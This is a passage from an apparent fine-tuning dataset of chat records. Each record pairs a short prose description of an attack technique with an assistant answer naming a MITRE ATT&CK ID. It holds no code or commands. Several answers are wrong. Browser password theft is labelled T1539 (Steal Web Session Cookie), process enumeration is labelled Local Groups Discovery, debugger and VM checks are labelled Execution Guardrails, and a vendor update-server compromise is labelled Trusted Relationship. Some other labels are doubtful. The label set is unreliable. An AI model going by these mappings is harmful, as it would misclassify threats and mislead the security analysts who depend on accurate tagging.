        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red teamers exploit a misconfigured installer file that is set to be modifiable by any user, replacing it with a malicious installer that executes a PowerShell script with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a default password on a network printer, uploading a web shell that provides initial access to the internal network."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts private key material from the Windows Certificate Store on a compromised domain controller to forge authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privilege escalation exploit, the threat actor reads the system Keychain and exports all saved credential entries."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the threat actor sets up a malicious PowerShell script that connects via SMB, and after establishing persistence, it pivots to a custom TCP backdoor for command exchange."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan enumerates hardware IDs and terminates if it detects a known analysis machine."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder pushes a backdoored container image to the private registry and triggers its execution via a cron job."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Go-based tool to recursively copy hidden email archives from the user's profile directories."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake software update for a common application, convincing users to install it and gain access."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious npm package, the attacker executes JavaScript that creates a reverse HTTP tunnel to the C2."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set changed the domain trust settings, allowing their malicious service account to authenticate to resources in a remote domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware incorporates a check for the system's boot time and only runs its core functions after the system has been running for a specified duration."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accesses a free DNS analytics platform to obtain historical DNS query logs, aiming to discover previously used subdomains and pivot points."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects malicious JavaScript into a legitimate website to harvest session tokens and then uses those tokens to bypass login."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hijacks a trusted COM component by altering the registry entry for its CLSID, causing the component to execute the attacker's code during normal operation."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised Telegram accounts are used to collect and exfiltrate credentials that were inadvertently shared in private chats."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious update script, the attacker restores an older system image, removing recent security enhancements."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware checks for the presence of a debugger or virtual machine before executing its payload, aborting if such analysis tools are detected."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses launchctl to load a custom daemon that runs a remote access trojan on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Office Add-in feature to register a malicious JavaScript add‑in that runs each time Excel is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Add-in"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used a rogue MSI file to deliver ransomware during the software update process of a popular enterprise app."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker cleared the Windows Event Logs by directly deleting the .evtx files from the C:\\Windows\\System32\\winevt\\Logs directory."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app performs an 'escape to host' maneuver, allowing it to run arbitrary commands on the attached PC."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached a file named \"financials.doc\" that was actually a disguised .exe binary, using file type masquerading to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use SMB connections to the C$ administrative share for lateral movement and credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses a symmetric cipher (AES‑128) to encrypt its beacon messages before sending them to the attacker’s C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages stolen API keys to update DNS entries in a cloud-based DNS provider."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module strips the Zone.Identifier ADS from a tool it delivered, ensuring the tool runs without triggering security warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Visual Studio's msbuild.exe, the attacker inserts a malicious task into a .csproj file, causing the payload to run during the build process."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker automates the generation of a new Azure service principal for persistent command execution."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group copies the domain controller's PKI signing certificate and uses it to sign malicious code."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing page mimics a legitimate login site and captures the session cookie after the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a modified RC script in /etc/rc.d/rc.local to gain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy backdoor was configured to trigger video recording whenever a specific USB device was connected, capturing the webcam feed for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals retrieve closed‑source intelligence reports from a vendor to map the target's defensive measures and identify gaps."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromises a third‑party software vendor's update server and inserts backdoors, which are then trusted and installed on the victim's machines."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts browser password stores and exfiltrates them via a Telegram bot API."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a disk utility to purge the disk's MBR/GPT and filesystem metadata, causing total data loss."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the PATH variable in a scheduled task’s environment, the attacker ensures that scheduled commands resolve to malicious versions of expected programs."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability in Microsoft Office to execute malicious code when a user opens a crafted document."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors download a keylogger binary from a hidden service and deploy it on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion modifies the domain trust settings to grant the attacker full access to all child domains."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program clears persistence by uninstalling itself from the system's init.d scripts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool dumps the Cached Domain Credentials by reading the registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\NetworkSecurity\\CredentialCache."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder accessed the Oracle Cloud Infrastructure metadata endpoint to extract instance metadata, including compartment IDs."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a tool that modifies the PE header to embed a fake signature, allowing the malware to be executed under the guise of a legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor modifies the VNC configuration to enable unattended access, bypassing user interaction for persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs DNS enumeration by issuing zone transfer requests to identify internal hostnames."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a DNS tunnel service to exfiltrate data over DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries craft malicious packets that mimic legitimate HTTP traffic to avoid detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies the 'Keychain' entries for Safari and decrypts them to obtain stored website passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake software update prompt appears on the user’s screen, prompting them to download and execute a malicious DLL that installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes the MSBuild utility to compile and execute a malicious C# script hidden inside a .proj file."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to enumerate processes and identify security tools running on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages PowerShell's Get-Process cmdlet to enumerate running processes and their command lines."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder aggregates captured screenshots and keylogs into a single folder named \"temp\" before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces system binaries with malicious versions that retain original signatures."
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using open Syslog servers, the attacker sends log messages with a spoofed source, causing the servers to forward large log entries to the victim's address."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the victim’s social media accounts for personal details of key staff."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the system's code signing enforcement settings, disabling signature verification for new binaries to execute their payloads unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the compromised host creates a proprietary archive of stolen documents using a home‑grown utility."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Verclsid.exe to run a payload hidden in a DLL registered under a fake COM class, a classic System Binary Proxy Execution move."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious PowerShell profile script that runs every time a user opens PowerShell, loading a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat performed a stealthy ICMP echo scan across the victim's network to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the boot image, loading an older, insecure version to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using gobuster, the adversary scans the target’s web application with a large dictionary of potential file names to find unprotected resources."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies a legitimate program's manifest to request elevated execution, causing Windows to show an elevation prompt that the user unwittingly accepts."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to autorun after reboot."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises user accounts by exploiting weak passwords or poor password management practices, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before launching the ransomware, the implant queries the system's BIOS serial number and only proceeds when it matches a predefined string."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor exploits a vulnerability in the Gatekeeper service to whitelist malicious binaries without user consent."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware periodically reads the clipboard for cryptocurrency wallet addresses and logs them for theft."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the fish shell config file (config.fish) to automatically run a reverse shell on each new session."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses the Windows Remote Management service to execute a WMI query that installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a custom binary-to-ASCII conversion that differs from standard Base64 to hide file contents."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
